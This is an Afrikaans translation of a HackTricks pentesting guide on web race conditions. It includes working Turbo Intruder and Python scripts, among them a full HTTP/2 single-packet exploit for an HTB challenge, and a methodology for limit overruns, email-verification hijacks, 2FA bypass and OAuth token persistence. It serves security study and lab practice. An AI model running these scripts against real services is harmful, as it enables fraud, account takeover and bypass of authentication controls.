hacktricks/pentesting-web/race-condition.md

21 KiB

Race Condition


Gebruik Trickest om maklik te bou en outomatiese werksvloei te skep wat deur die wêreld se mees gevorderde gemeenskapstools aangedryf word.
Kry Toegang Vandag:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

{% hint style="warning" %} Vir 'n diep begrip van hierdie tegniek, kyk na die oorspronklike verslag in https://portswigger.net/research/smashing-the-state-machine {% endhint %}

Enhancing Race Condition Attacks

Die hoofhindernis om voordeel te trek uit race-omstandighede is om te verseker dat verskeie versoeke gelyktydig hanteer word, met baie min verskil in hul verwerkings tye—ideaal gesproke, minder as 1ms.

Hier kan jy 'n paar tegnieke vir die Sinchronisering van Versoeke vind:

HTTP/2 Enkel-Pakket Aanval vs. HTTP/1.1 Laaste-Byte Sinchronisering

  • HTTP/2: Ondersteun die sending van twee versoeke oor 'n enkele TCP-verbinding, wat die impak van netwerk jitter verminder. egter, as gevolg van bediener-kant variasies, mag twee versoeke nie genoeg wees vir 'n konsekwente race-omstandigheid uitbuiting nie.
  • HTTP/1.1 'Laaste-Byte Sync': Maak dit moontlik om die meeste dele van 20-30 versoeke vooraf te stuur, terwyl 'n klein fragment teruggehou word, wat dan saamgestuur word, wat gelyktydige aankoms by die bediener bereik.

Voorbereiding vir Laaste-Byte Sync behels:

  1. Stuur koptekste en liggaamsdata minus die finale byte sonder om die stroom te beëindig.
  2. Pauzeer vir 100ms na die aanvanklike sending.
  3. Deaktiveer TCP_NODELAY om Nagle se algoritme te benut vir die bundeling van finale rame.
  4. Ping om die verbinding op te warm.

Die daaropvolgende sending van teruggehoue rame moet lei tot hul aankoms in 'n enkele pakket, verifieerbaar via Wireshark. Hierdie metode is nie van toepassing op statiese lêers nie, wat tipies nie betrokke is by RC-aanvalle nie.

Adapting to Server Architecture

Om die teiken se argitektuur te verstaan is van kardinale belang. Voorpunt bedieners mag versoeke anders roete, wat tydsberekening beïnvloed. Voorkomende bediener-kant verbinding opwarming, deur onbelangrike versoeke, mag versoek tydsberekening normaliseer.

Handling Session-Based Locking

Raamwerke soos PHP se sessiehandler serialiseer versoeke volgens sessie, wat moontlik kwesbaarhede verdoesel. Die gebruik van verskillende sessietokens vir elke versoek kan hierdie probleem omseil.

Overcoming Rate or Resource Limits

As verbinding opwarming nie effektief is nie, kan die doelbewuste onttriggering van webbedieners se koers of hulpbronlimiet vertragings deur 'n vloed van dummy versoeke die enkel-pakket aanval fasiliteer deur 'n bediener-kant vertraging te veroorsaak wat bevorderlik is vir race-omstandighede.

Attack Examples

  • Tubo Intruder - HTTP2 enkel-pakket aanval (1 eindpunt): Jy kan die versoek na Turbo intruder (Extensions -> Turbo Intruder -> Send to Turbo Intruder) stuur, jy kan die waarde wat jy wil brute force vir %s soos in csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s verander en dan die examples/race-single-packer-attack.py uit die keuselys kies:

As jy verskillende waardes gaan stuur, kan jy die kode met hierdie een wat 'n woordlys van die klembord gebruik, aanpas:

passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

{% hint style="warning" %} As die web nie HTTP2 ondersteun nie (slegs HTTP1.1) gebruik Engine.THREADED of Engine.BURP in plaas van Engine.BURP2. {% endhint %}

  • Tubo Intruder - HTTP2 enkele-pakket aanval (Verskeie eindpunte): In die geval dat jy 'n versoek na 1 eindpunt moet stuur en dan verskeie na ander eindpunte om die RCE te aktiveer, kan jy die race-single-packet-attack.py skrip met iets soos:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
  • Dit is ook beskikbaar in Repeater via die nuwe 'Stuur groep in parallel' opsie in Burp Suite.
  • Vir limit-overrun kan jy net die dieselfde versoek 50 keer in die groep voeg.
  • Vir connection warming kan jy byvoeg aan die begin van die groep 'n paar versoeke na 'n nie-statiese deel van die webbediener.
  • Vir delaying die proses tussen die verwerking van een versoek en 'n ander in 'n 2 substates stappe, kan jy extra versoeke tussen beide versoeke voeg.
  • Vir 'n multi-endpoint RC kan jy begin om die versoek te stuur wat na die versteekte toestand gaan en dan 50 versoeke net daarna wat die versteekte toestand benut.
  • Geoutomatiseerde python skrip: Die doel van hierdie skrip is om die e-pos van 'n gebruiker te verander terwyl dit voortdurend verifieer totdat die verifikasietoken van die nuwe e-pos by die laaste e-pos aankom (dit is omdat daar in die kode 'n RC gesien is waar dit moontlik was om 'n e-pos te wysig, maar die verifikasie na die ou een gestuur is omdat die veranderlike wat die e-pos aandui reeds met die eerste een bevolk was).
    Wanneer die woord "objetivo" in die ontvangde e-posse gevind word, weet ons ons het die verifikasietoken van die veranderde e-pos ontvang en beëindig ons die aanval.
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)




# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)

Raw BF

Voor die vorige navorsing was daar 'n paar payloads wat gebruik is wat net probeer het om die pakkette so vinnig as moontlik te stuur om 'n RC te veroorsaak.

  • Repeater: Kyk na die voorbeelde van die vorige afdeling.
  • Intruder: Stuur die request na Intruder, stel die number of threads op 30 binne die Options menu en kies as payload Null payloads en genereer 30.
  • Turbo Intruder
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
  • Python - asyncio
import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

RC Metodologie

Limit-oortreding / TOCTOU

Dit is die mees basiese tipe van 'n race condition waar kwesbaarhede wat verskyn in plekke wat die aantal kere wat jy 'n aksie kan uitvoer, beperk. Soos om dieselfde afslagkode verskeie kere in 'n webwinkel te gebruik. 'n Baie maklike voorbeeld kan gevind word in hierdie verslag of in hierdie fout.

Daar is baie variasies van hierdie tipe aanval, insluitend:

  • 'n Geskenkkaart verskeie kere inlos
  • 'n Produk verskeie kere beoordeel
  • Kontant onttrek of oordra bo jou rekeningbalans
  • 'n Enkele CAPTCHA-oplossing hergebruik
  • 'n Anti-brute-force koerslimiet omseil

Versteekte substates

Die benutting van komplekse race conditions behels dikwels die benutting van kort geleenthede om met versteekte of onbedoelde masjien substates te kommunikeer. Hier is hoe om dit aan te pak:

  1. Identifiseer Potensiële Versteekte Substates
  • Begin deur eindpunte te identifiseer wat kritieke data, soos gebruikersprofiele of wagwoordherstelprosesse, wysig of mee kommunikeer. Fokus op:
  • Berging: Verkies eindpunte wat server-kant volhoubare data manipuleer bo dié wat data kliënt-kant hanteer.
  • Aksie: Soek na operasies wat bestaande data verander, wat meer waarskynlik is om benutbare toestande te skep in vergelyking met dié wat nuwe data byvoeg.
  • Sleuteling: Suksesvolle aanvalle behels gewoonlik operasies wat op dieselfde identifiseerder gesleutel is, bv. gebruikersnaam of hersteltoken.
  1. Voer Aanvanklike Probering Uit
  • Toets die geïdentifiseerde eindpunte met race condition aanvalle, en let op enige afwykings van verwagte uitkomste. Onverwagte reaksies of veranderinge in toepassingsgedrag kan 'n kwesbaarheid aandui.
  1. Demonstreer die Kwesbaarheid
  • Beperk die aanval tot die minimale aantal versoeke wat nodig is om die kwesbaarheid te benut, dikwels net twee. Hierdie stap mag verskeie pogings of outomatisering vereis weens die presiese tydsberekening wat betrokke is.

Tydsensitiewe Aanvalle

Presisie in die tydsberekening van versoeke kan kwesbaarhede onthul, veral wanneer voorspelbare metodes soos tydstempels vir sekuriteits tokens gebruik word. Byvoorbeeld, die generering van wagwoordherstel tokens gebaseer op tydstempels kan identiese tokens vir gelyktydige versoeke toelaat.

Om te Benut:

  • Gebruik presiese tydsberekening, soos 'n enkele pakket aanval, om gelyktydige wagwoordherstel versoeke te maak. Identiese tokens dui op 'n kwesbaarheid aan.

Voorbeeld:

  • Versoek twee wagwoordherstel tokens op dieselfde tyd en vergelyk hulle. Ooreenstemmende tokens dui op 'n fout in token generasie aan.

Kyk na hierdie PortSwigger Lab om dit te probeer.

Versteekte substates gevalstudies

Betaal & voeg 'n Item by

Kyk na hierdie PortSwigger Lab om te sien hoe om te betaal in 'n winkel en 'n ekstra item by te voeg wat jy nie hoef te betaal nie.

Bevestig ander e-posse

Die idee is om 'n e-posadres te verifieer en dit terselfdertyd na 'n ander een te verander om uit te vind of die platform die nuwe een wat verander is, verifieer.

Verander e-pos na 2 e-posadresse Koekie-gebaseerd

Volgens hierdie navorsing was Gitlab kwesbaar vir 'n oorneem op hierdie manier omdat dit mag stuur die e-posverifikasietoken van een e-pos na die ander e-pos.

Kyk na hierdie PortSwigger Lab om dit te probeer.

Versteekte Databasis toestande / Bevestiging Omseiling

As 2 verskillende skrywe gebruik word om inligting binne 'n databasis toe te voeg, is daar 'n klein tydsdeel waar slegs die eerste data geskryf is binne die databasis. Byvoorbeeld, wanneer 'n gebruiker geskep word, kan die gebruikersnaam en wagwoord geskryf word en dan die token om die nuut geskepte rekening te bevestig, geskryf word. Dit beteken dat vir 'n kort tyd die token om 'n rekening te bevestig is null.

Daarom kan die registrasie van 'n rekening en die stuur van verskeie versoeke met 'n leë token (token= of token[]= of enige ander variasie) om die rekening onmiddellik te bevestig, toelaat om 'n rekening te bevestig waar jy nie die e-pos beheer nie.

Kyk na hierdie PortSwigger Lab om dit te probeer.

Omseiling van 2FA

Die volgende pseudo-kode is kwesbaar vir race condition omdat daar in 'n baie kort tyd die 2FA nie afgedwing word terwyl die sessie geskep word:

session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

OAuth2 ewige volharding

Daar is verskeie OAUth verskaffers. Hierdie dienste sal jou toelaat om 'n toepassing te skep en gebruikers te verifieer wat die verskaffer geregistreer het. Om dit te doen, sal die klient jou toepassing moet toelaat om toegang te verkry tot sommige van hul data binne die OAUth verskaffer.
So, tot hier is dit net 'n algemene aanmelding met google/linkedin/github... waar jy 'n bladsy te sien kry wat sê: "Toepassing <InsertCoolName> wil toegang tot jou inligting hê, wil jy dit toelaat?"

Race Condition in authorization_code

Die probleem verskyn wanneer jy dit aanvaar en outomaties 'n authorization_code na die kwaadwillige toepassing stuur. Dan misbruik hierdie toepassing 'n Race Condition in die OAUth diensverskaffer om meer as een AT/RT (Authentication Token/Refresh Token) van die authorization_code vir jou rekening te genereer. Basies, dit sal die feit misbruik dat jy die toepassing aanvaar het om toegang tot jou data te verkry om verskeie rekeninge te skep. Dan, as jy stop om die toepassing toe te laat om toegang tot jou data te verkry, sal een paar AT/RT verwyder word, maar die ander sal steeds geldig wees.

Race Condition in Refresh Token

Sodra jy 'n geldige RT verkry het, kan jy probeer om dit te misbruik om verskeie AT/RT te genereer en selfs as die gebruiker die toestemmings kanselleer vir die kwaadwillige toepassing om toegang tot sy data te verkry, sal verskeie RT's steeds geldig wees.

RC in WebSockets

In WS_RaceCondition_PoC kan jy 'n PoC in Java vind om websocket-boodskappe in parallel te stuur om Race Conditions ook in Web Sockets te misbruik.

Verwysings

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}


Gebruik Trickest om maklik te bou en werkvloei te outomatiseer wat deur die wêreld se mees gevorderde gemeenskap gereedskap aangedryf word.
Kry Toegang Vandag:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}